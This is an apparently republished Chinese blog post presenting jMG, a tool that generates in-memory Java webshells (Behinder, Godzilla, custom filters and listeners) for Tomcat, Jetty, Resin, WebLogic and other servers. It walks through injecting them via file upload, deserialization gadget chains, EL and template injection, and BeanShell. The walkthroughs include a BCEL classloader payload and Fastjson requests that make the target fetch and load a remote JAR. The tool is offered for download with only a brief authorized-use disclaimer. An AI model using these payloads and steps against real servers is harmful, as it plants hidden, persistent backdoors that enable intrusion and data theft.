jMG - 高度自定义的 Java 内存马生成工具
2023-6-4 09:49:30 Author: pen4uin(查看原文) 阅读量:502 收藏

工具简介 中间件覆盖情况 常见漏洞场景  - 0x01 文件上传漏洞 (JSP)  - 0x02 反序列化漏洞 (readObject)  - 0x03 表达式注入漏洞 (EL)  - 0x04 代码执行漏洞 (Bsh)  - 0x05 反序列化漏洞 (Fastjson)  - 0x06 模板注入漏洞 (Thymeleaf) 常见利用场景  - 0x01 注入内存代理 最后

工具简介

jMG (Java Memshell Generator) 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。

功能介绍

  • 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)

  • 支持的网站管理工具 (Behinder/Godzilla/Custom)

  • 支持的内存马类型 (Filter/Listener/Interceptor)

  • 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)

  • 支持的辅助模块 (探测目标中间件/序列化数据封装)

模块划分

  • 内存马生成模块

    • Behinder、Godzilla

    • Custom

      • 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等

  • 辅助模块

    • ServerType Detector 中间件探测器

      • 探测中间件信息,常见场景:SpringBoot Fatjar

      • 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)

    • Ysoserial Payload Generator

      • 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率

参数说明

参数名称参数说明其他
server_type选择中间件的类型
shell_type选择内存马的类型
gadget_type选择利用链的类型根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解
format_type输出格式

更多参数 - 参数自定义

如何食用

从 github 仓库下载 jMG.jar 并放在 woodpecker 的 plugin 子目录下即可 (下载地址见文末)。

中间件覆盖情况


godzilla-listenergodzilla-filterbehinder-listenerbehinder-filter
tomcat 9.0.39
tomcat 8.5.53
tomcat 7.0.59
tomcat 6.0.48
tomcat 5.5.36
jetty 9.4.43
jetty 8.2.0
jetty 7.6.0
resin 4.0.66
resin 3.1.15
weblogic 10.3.6
weblogic 12.1.3
websphere 8.5.5
websphere 9.0.0

注:以上测试结果仅供参考

常见漏洞场景

0x01 文件上传漏洞 (JSP)

本地测试环境

  • Tomcat v6.0.48

  • JDK 8

  • 文件上传

1、生成 jsp 文件

2、上传 jsp 到目标服务器,访问即可注入内存马,参考使用说明进行设置

  • 设置请求头

3、成功连接

0x02 反序列化漏洞 (readObject)

本地测试环境

  • Tomcat v8.5.53

  • JDK 8

  • readObject 反序列化

  • CB1 链

1、生成 class 文件

server_type=Tomcatshell_type=Listener# 继承 AbstractTransletgadget_type=JDK_AbstractTransletformat_type=CLASSoutput_path=/tmp/

2、使用 辅助模块 进行序列化数据封装

yso_gadget=CommonsBeanutils1yso_cmd=class_file:/tmp/HttpClientUtil.classformat_type=BASE64

注:依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker

3、利用后,参考使用说明进行连接

0x03 表达式注入漏洞 (EL)

本地测试环境

  • Tomcat v8.5.83

  • JDK 8

  • EL 表达式代码执行

1、生成 class文件

server_type=Tomcatshell_type=Listenergadget_type=NONEformat_type=CLASSoutput_path=/tmp/

2、使用 jexpr-encoder-utils 进行封装

class_file=/tmp/SignatureUtils.class

注:依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils

3、利用后,参考使用说明进行连接

0x04 代码执行漏洞 (Bsh)

本地测试环境

  • Resin v4.0.40

  • JDK 8

  • Bsh 代码执行漏洞

1、选择 输出格式为 BCEL ,生成 paylaod

server_type=Resinshell_type=Listenergadget_type=NONEformat_type=BCEL

2、利用 BCEL 打内存马

new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance();

3、参考使用说明进行连接

0x05 反序列化漏洞 (Fastjson)

本地测试环境

  • Tomcat v8.5.83

  • Fastjson v1.2.80 反序列化漏洞

  • Groovy v3.0.8

1、选择 输出格式为 JAR,生成 payload

server_type=Tomcatshell_type=Listener# 选择利用链为 Fastjson+Groovygadget_type=FastjsonGroovyformat_type=JARoutput_path=/tmp/fj/

2、利用 groovy 利用链打内存马

第1个请求

{    "@type":"java.lang.Exception",    "@type":"org.codehaus.groovy.control.CompilationFailedException",    "unit":{}}

第2个请求

{    "@type":"org.codehaus.groovy.control.ProcessingUnit",    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",    "config":{        "@type":"org.codehaus.groovy.control.CompilerConfiguration",        "classpathList":"http://127.0.0.1:8888/NetworkUtils.jar"    }}

3、参考使用说明进行连接

0x06 模板注入漏洞 (Thymeleaf)

本地测试环境

  • SpringBoot v2.2.0.RELEASE

    • 内嵌 Jetty

  • JDK 8

  • Thymeleaf 模板注入漏洞

由于 springboot 可以自定义中间件,所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat,有可能是jetty/undertow,也有可能是信创中间件。

这种情况一般有两种方案:

  • 注入框架层面的内存马,比如 interceptor

  • 先判断出目标中间件,再注入对应中间件的内存马

这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。

1、优先使用 DFSEcho 通过回显来判断目标中间件,失败后再考虑dnslog等其他选择

detect_way=DFSEchoserver_type=Tomcatdnslog_domain=xxx.dnslog.cnhttplog_url=http://xxx.httplog.cnsleep_seconds=5gadget_type=NONEformat_type=BCEL

2、获取到目标中间件为 jetty

3、生成对应的 payload

server_type=Jettyshell_type=Listenergadget_type=NONEformat_type=BCEL

4、漏洞利用

第1次尝试 - 失败

很常见的问题,参考 shiro 的漏洞利用的解决方案,写个 loader 加载字节码再 defineclass 即可。

重新生成 payload

5、利用后参考使用说明进行连接即可

更多的场景就见仁见智了。

常见利用场景

0x01 注入内存代理

本地测试环境

  • Tomcat v8.5.53

  • JDK 8

  • readObject 反序列化

  • CB1 链

1、以 suo5 为例,编译 Suo5Filter.java

https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java

2、选择对应的中间件,生成 payload

server_type=Tomcatgadget_type=JDK_AbstractTransletformat_type=CLASSclass_file_path=/tmp/Suo5Filter.classoutput_path=/tmp/

3、使用 辅助模块 进行序列化数据封装

4、利用后连接测试,内存代理注入成功

最后

下载地址

https://github.com/pen4uin/jMemshellGenerator

注意 ⚠️

该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。如果遇到 bug / 建议 / 实战场景需求,欢迎提 issue 交流。

目录结构如下 (需要下载 yso-for-woodpecker)

pen4uin@bogon Desktop % tree /tmp/woodpecker /tmp/woodpecker├── common│   └── ysoserial-for-woodpecker-0.5.2.jar├── config.db├── plugin│   └── jMG-1.0.4.beta1.jar└── woodpecker-framework.1.3.5.jar

后续计划:添加 GUI 图形化版工作模式 (demo)

reference

https://github.com/feihong-cs/memShellhttps://github.com/su18/MemoryShellhttps://github.com/woodpecker-framework/https://github.com/BeichenDream/GodzillaMemoryShellProject

文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDg5MzIzMQ==&mid=2247486186&idx=1&sn=9919741b7b4aa4477eb276897cac7629&chksm=fb3303aacc448abcb6909af9a5cf0be49df1f5427c81e970a807ee67e0c7a8d6abe92a7e1844#rd
如有侵权请联系:admin#unsafe.sh